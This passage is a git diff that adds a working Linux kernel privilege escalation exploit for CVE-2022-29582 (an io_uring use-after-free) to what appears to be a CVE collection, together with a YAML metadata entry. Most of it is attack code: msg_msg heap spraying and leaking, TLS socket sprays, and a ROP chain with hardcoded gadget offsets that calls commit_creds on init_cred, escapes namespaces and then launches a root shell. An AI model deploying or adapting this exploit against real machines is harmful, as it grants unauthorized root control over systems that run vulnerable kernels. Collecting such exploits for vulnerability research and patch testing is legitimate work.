*/ +#define N_TIMEOUT_OBJS (16) +#define N_WAIT_CQES (10) + +#define TIMEOUT (100000000) +#define TIMEOUT_SCALE (500) + +struct manager { + + /* Collected statistics from the runtime */ + struct { + // initial reallocation race stats + uint32_t initial_race_fails; + uint64_t last_success_sleep; + // page offset / overwrite stats + uint32_t overwrite_fails; + uint64_t last_success_offset; + }; + + /* Dynamic configurations */ + struct { + uint64_t sleep_before_tee; + }; + + /* Pipe descriptor stores */ + struct { + #define RD (0) + #define WR (1) + #define N_PIPES (16) + int pipes_in[N_PIPES][2]; + int pipes_out[N_PIPES][2]; + }; + + /* IO_uring rings */ + struct { + struct io_uring uaf_ring; + struct io_uring tee_ring; + }; + + /* Thread identifiers */ + struct { + #define N_TRIGGER_TH (4) + #define N_CATCH_TH (4) + #define N_WAIT_TH (1) + pthread_t wait_cqe_th[N_WAIT_TH]; + pthread_t catch_th[N_CATCH_TH]; + pthread_t trigger_th[N_TRIGGER_TH]; + }; + + /* Thread synchronisation */ + struct { + pthread_cond_t uaf_cond; + pthread_mutex_t uaf_mutex; + bool threads_go; + }; + + /* Cross cache management object */ + struct cross_cache *cc; + + /* For the spray and leak */ + struct { + int64_t msq_ids[TOTAL_MSGS]; + union { + char spray[MSG_SIZE]; + char leak[MSG_SIZE]; + }; + }; +}; + +err_t open_pipes(struct manager*, int); +err_t close_pipes(int pipes[][2]); + +err_t start_threads(struct manager *, pthread_t*, void*, uint32_t); +err_t wait_threads(pthread_t*, uint32_t); +err_t wait_condition(pthread_mutex_t*, pthread_cond_t*, bool*); +err_t set_condition(pthread_mutex_t*, pthread_cond_t *, bool*); + +void end_session(struct manager *); +err_t refresh_session(struct manager *); +struct manager* new_session(); + +#endif // MGR_H diff --git a/cve/linux-kernel/2022/CVE-2022-29582/msg.c b/cve/linux-kernel/2022/CVE-2022-29582/msg.c new file mode 100644 index 0000000000000000000000000000000000000000..c6e3d9b8222d18d207780c144cc25efd8daf5385 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/msg.c @@ -0,0 +1,63 @@ +#include "msg.h" + +#define MSG_COPY 040000 + +err_t pre_spray_msg(int64_t *store, uint32_t amount) +{ + int32_t register ret = 0; + + for (uint32_t i = 0; i < amount; i++) { + ret = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); + IF_ERR(ret) { + perror("spray_msg:msgsnd"); + return ERR; + } + store[i] = ret; + } + return SUCC; +} + +err_t spray_msg(uint64_t *store, uint32_t amount, char *data, uint64_t size) +{ + int32_t ret = 0; + struct msgb* msg = (struct msgb*)data; + + for (uint32_t i = 0; i < amount; i++) { + msg->mtype = i + 1; + ret = msgsnd(store[i], msg, size, 0); + IF_ERR(ret) { + perror("spray_msg:msgsnd"); + return ERR; + } + } + + return SUCC; +} + +err_t leak_msg(uint64_t needle, uint64_t *store, uint32_t amount, char *data, uint64_t size) +{ + uint64_t *leak = malloc(size * sizeof(uint64_t)); + IF_ERR_PTR(leak) { + perror("leak_msg:malloc"); + return ERR; + } + struct msgb* msg = (struct msgb*)leak; + err_t ret_err = ERR; + + for (int i = 0; i < amount; i++) { + IF_ERR(msgrcv(store[i], msg, size, i + 1, 0)) { + perror("leak_msg:msgrcv"); + goto out; + } + for (int j = 0; j < (size / sizeof(uint64_t)); j++) { + if (leak[j] == needle) { + memcpy(data, leak, size); + ret_err = SUCC; + goto out; + } + } + } +out: + free(leak); + return ret_err; +} \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-29582/msg.h b/cve/linux-kernel/2022/CVE-2022-29582/msg.h new file mode 100644 index 0000000000000000000000000000000000000000..ab68c8a1c76d92178be5459c0a2edb6b53f40df2 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/msg.h @@ -0,0 +1,37 @@ +#ifdef _GNU_SOURCE +#undef _GNU_SOURCE +#endif + +#ifndef MSG_H +#define MSG_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "err_state.h" + +#define TOTAL_MSGS (9999) +#define MSG_SIZE (4500) + +struct msgb { + long mtype; + char mtext[1]; +}; + + +err_t pre_spray_msg(int64_t*, uint32_t); +err_t spray_msg(uint64_t*, uint32_t, char*, uint64_t); +err_t leak_msg(uint64_t, uint64_t*, uint32_t, char*, uint64_t); +void free_msg(uint64_t *store, uint32_t amount, uint64_t size); + +#endif // MSG_H \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-29582/ring_helpers.h b/cve/linux-kernel/2022/CVE-2022-29582/ring_helpers.h new file mode 100644 index 0000000000000000000000000000000000000000..6ef2c4400f51be172ec09760cfafedb3bb16a02e --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/ring_helpers.h @@ -0,0 +1,64 @@ +#ifndef RING_HELPER_H +#define RING_HELPER_H +#include +#include "err_state.h" + +err_t init_timeout_sqe(struct io_uring *ring, struct timespec *ts) +{ + struct io_uring_sqe* sqe = io_uring_get_sqe(ring); + IF_ERR_PTR(sqe) { + perror("init_timeout_sqe:io_uring_get_sqe"); + return ERR; + } + sqe->opcode = IORING_OP_TIMEOUT; + sqe->flags = IOSQE_IO_LINK; + sqe->off = 4; + sqe->addr = (uint64_t)ts; + sqe->len = 1; + sqe->user_data = 5; + + return SUCC; +} + +err_t init_link_sqe(struct io_uring *ring, struct timespec *ts) +{ + struct io_uring_sqe* sqe = io_uring_get_sqe(ring); + IF_ERR_PTR(sqe) { + perror("init_link_sqe:io_uring_get_sqe"); + return ERR; + } + sqe->opcode = IORING_OP_LINK_TIMEOUT; + sqe->addr = (uint64_t)ts; + sqe->len = 1; + sqe->user_data = 7; + + return SUCC; +} + +err_t force_unblock_wait_cqe(struct io_uring *ring, uint32_t amount) +{ + struct io_uring_sqe* sqe = NULL; + for (int i = 0; i < amount; i++) { + sqe = io_uring_get_sqe(ring); + IF_ERR_PTR(sqe) { + perror("force_unblock_wait_cqe:io_uring_get_sqe"); + return ERR; + } + } + IF_ERR(io_uring_submit(ring)) { + perror("force_unblock_wait_cqe:io_uring_submit"); + return ERR; + } + return SUCC; +} + +err_t init_ring(struct io_uring *ring) +{ + if (io_uring_queue_init(200, ring, 0) < 0) { + perror("init_rings:io_uring_queue_init"); + return ERR; + } + return SUCC; +} + +#endif // RING_HELPER_H \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-29582/rop.h b/cve/linux-kernel/2022/CVE-2022-29582/rop.h new file mode 100644 index 0000000000000000000000000000000000000000..e45a63a9fd0fc02075e5eb277e099572dbcf43a6 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/rop.h @@ -0,0 +1,136 @@ +#include +#include +#include +#include +#include +#include +#include + +void *new_stack; + +/* GADGETS */ +/* data structures */ + +// found via inspection via gdb, as these aren't in kallsyms +#define INIT_NSPROXY_OFF 0x16574f0 +#define INIT_CRED_OFF 0x16578d0 + +/* routines */ +#define BPF_GET_CURRENT_TASK_OFF 0x1a9780 +#define SWITCH_TASK_NAMESPACES_OFF 0x0b02c0 +#define COMMIT_CREDS_OFF 0x0b2350 +#define __AUDIT_SYSCALL_EXIT_OFF 0x163e80 +#define FIND_TASK_BY_VPID_OFF 0x0a80d0 +/* general purpose gadgets */ + +// mov rcx, rsp; mov rsp, rcx; pop rbx; pop rbp; ret; +#define STACK_PIVOT_OFF 0x8fbc8f + +// mov rdi, rax; jne ; ret +// all of the mov rdi, rax gadgets either call or jne right after +#define MOV_RDI_RAX_OFF 0x602b3e + +#define POP_RSI_OFF 0x009a66 // pop rsi; add bh, dh; ret; +#define POP_RDI_OFF 0x076990 +#define POP_RCX_OFF 0x0128ef +#define POP_RBX_R14_RBP_OFF 0x0007fc + +// test r9b, r9b; jne ; pop rbp; ret +#define TEST_R9B_R9B_OFF 0x6026bc + +/* swapgs; sysret */ +#define SWAPGS_SYSRET_OFF 0xc000f6 + +void after_rop(void); + +__attribute__((naked)) +void +_after_rop(void) +{ + __asm__ ( + "movq $new_stack, %rbx\n\t" + "movq (%rbx), %rsp\n\t" + "sub $8, %rsp\n\t" + "jmp after_rop\n\t" + "ud2" + ); +} + +size_t dumb_strlen(char* a) { + size_t result = 0; + while (*a++) result++; + return result; +} + + +void +after_rop(void) +{ + puts("[+] Returned to usermode! Root shell is imminent."); +#ifdef KCTF + // set namespaces to the task that we've elevated its namespaces + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + // show flags for all containers + system("for file in $(ls /proc/*/root/flag/flag); do cat $file; echo \"\"; done"); +#endif + execve("/bin/sh", NULL, NULL); +} + +void +getsockopt_tls(int fd, uint64_t fake_stack) +{ + puts("[+] Calling getsockopt() to trigger execution."); + getsockopt(fd, 0x41414141, 0x42424242, + fake_stack, 0x8181818181818181); +} + +void prepare_rop(uint64_t *rop, uint64_t kernel_base) +{ + /* ROP chain overview: + * 1. change namespaces of task with vpid 1 to root namespaces + * 2. set credentials of current process to root creds + * 3. cleanup and return to UM + * 4. in UM we setns. */ + + int j = 0; + /* Start with find_task_by_vpid(1) */ + rop[j++] = kernel_base + POP_RDI_OFF; + rop[j++] = 1; + rop[j++] = kernel_base + FIND_TASK_BY_VPID_OFF; + + // clear zero flag so jne will not be taken in mov rdi, rax + rop[j++] = kernel_base + TEST_R9B_R9B_OFF; + rop[j++] = 0; + + // mov rdi, rax + rop[j++] = kernel_base + MOV_RDI_RAX_OFF; + rop[j++] = 0; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + rop[j++] = kernel_base + POP_RSI_OFF; + rop[j++] = kernel_base + INIT_NSPROXY_OFF; + rop[j++] = kernel_base + SWITCH_TASK_NAMESPACES_OFF; + + // commit_creds(&init_cred) + rop[j++] = kernel_base + POP_RDI_OFF; + rop[j++] = kernel_base + INIT_CRED_OFF; + rop[j++] = kernel_base + COMMIT_CREDS_OFF; + + // __audit_syscall_exit(0, 0) + // this is needed because otherwise, + // audit_syscall_enter will complain + // at the next syscall we make. + rop[j++] = kernel_base + POP_RSI_OFF; + rop[j++] = 0; + rop[j++] = kernel_base + POP_RDI_OFF; + rop[j++] = 0; + rop[j++] = kernel_base + __AUDIT_SYSCALL_EXIT_OFF; + + // return to &_after_rop + rop[j++] = kernel_base + POP_RCX_OFF; + rop[j++] = &_after_rop; + rop[j++] = kernel_base + SWAPGS_SYSRET_OFF; +} diff --git a/cve/linux-kernel/2022/CVE-2022-29582/tls.c b/cve/linux-kernel/2022/CVE-2022-29582/tls.c new file mode 100644 index 0000000000000000000000000000000000000000..1f36ae4e0710b688b15971f372b5a315c719f8dd --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/tls.c @@ -0,0 +1,177 @@ +#include "tls.h" + +int tls_fds[N_TLS_FDS]; + +pid_t server_pid; + +err_t new_tls_session(void) +{ + if (! (server_pid = fork())) { + int err = start_server(); + if (err < 0) + exit(EXIT_FAILURE); + __builtin_unreachable(); + } + usleep(2000000); + return create_tls_socks();; +} + +static inline err_t kill_server(void) +{ + IF_ERR_RET(kill(server_pid, SIGKILL)) + IF_ERR_RET(waitpid(server_pid, NULL, 0)) + return SUCC; +} + +err_t end_tls_session(void) +{ + IF_ERR_RET(destroy_tls_socks()) + IF_ERR_RET(kill_server()) + return SUCC; +} + +err_t getsockopt_all_tls(int level, int name, void *value, void* len) +{ + for (int i = 0; i < N_TLS_FDS; ++i) { + IF_ERR(tls_fds[i]) { + perror("getsockopt_all_tls:fd=-1"); + return ERR; + } + getsockopt(tls_fds[i], level, name, value, len); + } + return SUCC; +} + +err_t tcp_sock_configure(int fd) +{ + /* Set some options on tcp socket to make them not close and stuff */ + int keepalive = 1; + + if (setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &keepalive, sizeof(keepalive))) { + perror("setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, 1)"); + return ERR; + } + + int idle_time = 60 * 60; // one hour + if (setsockopt(fd, SOL_TCP, TCP_KEEPIDLE, &idle_time, sizeof(idle_time))) { + perror("setsockopt(fd, SOL_TCP, TCP_KEEPIDLE, 60*60)"); + return ERR; + } + return SUCC; +} + +err_t create_tls_socks(void) +{ + /* Creates a bunch of connected TCP sockets + that we can upgrade to ULP_TCP "tls" later */ + + puts("[+] Creating TCP socks to upgrade later."); + memset(tls_fds, -1, sizeof(tls_fds)); + + for (int i = 0; i < N_TLS_FDS; ++i) { + int fd = socket(AF_INET, SOCK_STREAM, 0); + if (fd < 0) { + perror("Error allocating socket"); + return ERR; + } + + if (tcp_sock_configure(fd) < 0) { + return ERR; + } + + // the sockets need to be connected before they can be upgraded to tls sockets + struct sockaddr_in server; + inet_aton("127.0.0.1", &server.sin_addr); + server.sin_port = htons(9999); + server.sin_family = AF_INET; + if (connect(fd, (struct sockaddr*)&server, sizeof(server))) { + perror("connect"); + return ERR; + } + tls_fds[i] = fd; + } + + return SUCC; +} + +err_t upgrade_tls_socks(void) +{ + puts("[+] Upgrading socks to TLS to spray."); + + for (int i = 0; i < N_TLS_FDS; i++) { + int fd = tls_fds[i]; + // struct tls_context allocation in kmalloc-512 + if (setsockopt(fd, SOL_TCP, TCP_ULP, "tls", sizeof("tls"))) { + perror("setsockopt(fd, SOL_TCP, TCP_ULP, \"tls\""); + printf("fd: %d\n", fd); + return ERR_UNFIN(i); + }; + } + + return N_TLS_FDS; +} + +err_t destroy_tls_socks(void) +{ + register int fd = 0; + + for (int i = 0; i < N_TLS_FDS; ++i) { + fd = XCHNG_FD(tls_fds[i], ERR); + + IF_ERR(fd) + continue; + + IF_ERR(close(fd)) { + perror("destroy_tls_socks:close"); + return ERR; + } + } + return SUCC; +} + +err_t start_server(void) +{ + /* Start TCP server that will accept connections on 127.0.0.1:9999 + we need this for elevating sockets to TLS ULP */ + int fd = socket(AF_INET, SOCK_STREAM, 0); + if (fd < 0) { + perror("start_server:socket"); + return ERR; + } + tcp_sock_configure(fd); + + int reuse = 1; + setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)); + + struct sockaddr_in s; + inet_aton("127.0.0.1", &s.sin_addr); + s.sin_family = AF_INET; + s.sin_port = htons(9999); + + if (bind(fd, (struct sockaddr*)&s, sizeof(s))) { + perror("start_server:bind"); + return ERR; + } + if (listen(fd, 9999)) { + perror("start_server:listen"); + return ERR; + } + + puts("Listening on 127.0.0.1:9999 (tcp)"); + for (;;) { + struct sockaddr_in client; + socklen_t client_sz = sizeof(client); + // just accept and do nothing lol. + + int afd = accept(fd, (struct sockaddr*)&client, &client_sz); + + if (afd < 0) { + perror("start_server:accept"); + return ERR; + } + + tcp_sock_configure(afd); + } + + __builtin_unreachable(); +} diff --git a/cve/linux-kernel/2022/CVE-2022-29582/tls.h b/cve/linux-kernel/2022/CVE-2022-29582/tls.h new file mode 100644 index 0000000000000000000000000000000000000000..c18aa5c3e84e81ca4a57bbaff01fed8e384b7c46 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/tls.h @@ -0,0 +1,32 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "err_state.h" + +#define SOL_TLS (282) + +/* TLS socket options */ +#define TCP_ULP (31) +#define N_TLS_FDS (8000) + +err_t new_tls_session(void); +err_t end_tls_session(void); +err_t start_server(void); +err_t tcp_sock_configure(int); +err_t upgrade_tls_socks(void); +err_t destroy_tls_socks(void); +err_t getsockopt_all_tls(int, int, void*, void*); +err_t create_tls_socks(void); + diff --git a/cve/linux-kernel/2022/CVE-2022-29582/vmlinuz-5.10.90 b/cve/linux-kernel/2022/CVE-2022-29582/vmlinuz-5.10.90 new file mode 100644 index 0000000000000000000000000000000000000000..34190c557f71f66309b0249636b5214796598da7 Binary files /dev/null and b/cve/linux-kernel/2022/CVE-2022-29582/vmlinuz-5.10.90 differ diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-29582.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-29582.yaml new file mode 100644 index 0000000000000000000000000000000000000000..4e82bf7f43ab8653b959c2b5cae8b862e70a9c39 --- /dev/null +++ b/cve/linux-kernel/2022/yaml/CVE-2022-29582.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-29582 +source: https://github.com/Ruia-ruia/CVE-2022-29582-Exploit +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: High + description: | + 在5.17.3之前的Linux内核中,由于io_uring超时的竞争条件,fs/io_uring.c在释放后可以使用。这可以由无法访问任何用户命名空间的本地用户触发 + scope-of-influence: + linux kernel <5.17.3 + reference: + - https://nvd.nist.gov/vuln/detail/cve-2022-29582 + - https://github.com/Ruia-ruia/CVE-2022-29582-Exploit + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.0 + cve-id: CVE-2022-29582 + cwe-id: CWE-416 + cnvd-id: None + kve-id: None + tags: Use After Free, Linux kernel, cve2022 diff --git a/openkylin_list.yaml b/openkylin_list.yaml index a39bab918729fb12510cb76508e82d8d225740c6..a4f750c9be447c79cdec3c8ad639a9f592f87006 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -75,6 +75,7 @@ cve: - CVE-2019-13272 - CVE-2020-12351 - CVE-2021-43267 + - CVE-2022-29582 sudo: - CVE-2019-18634 - CVE-2021-3156